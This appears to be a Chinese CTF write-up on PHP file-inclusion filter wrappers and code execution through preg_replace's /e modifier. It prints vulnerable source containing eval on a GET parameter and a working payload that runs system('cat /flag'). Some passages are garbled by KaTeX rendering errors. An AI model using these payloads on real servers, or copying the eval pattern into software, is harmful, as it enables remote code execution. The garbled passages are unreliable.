知识点: 1.php伪协议小结(文件包含) 2.深入研究preg_replace与代码执行 3.php可变变量 看到//next.php;想个办法看下next.php
payload:
http:
I have a dream
base64解码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace($patterns, $replacements, $string);用法: preg_replace(1 ,2, 3); 3中找1,通过正则把3中的1换成2
preg_replace 使用了 /e 模式,使第二个参数当作代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,当中的 \1 实际上就是 \1,这里的 \1 实际上指定的是第一个子匹配项。 官方 payload 为: /?.*={KaTeX parse error: Expected 'EOF', got '}' at position 12: {phpinfo()}}? ,即 GET 方式传入的参数…{phpinfo()}}
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
若不加{${}},phpinfo()只会被定义成字符串,加上后phpinfo()才是变量,可执行。 这是由于在PHP中,对于传入的非法的 KaTeX parse error: Undefined control sequence: \S at position 58: …* 变成了 _*。所以我们用 \?S?*={phpinfo()}。
payload:
\S%2b=${getFlag()}&cmd=system('cat /flag');
必须要经过foeach,因为函数不被调用不会被执行:
|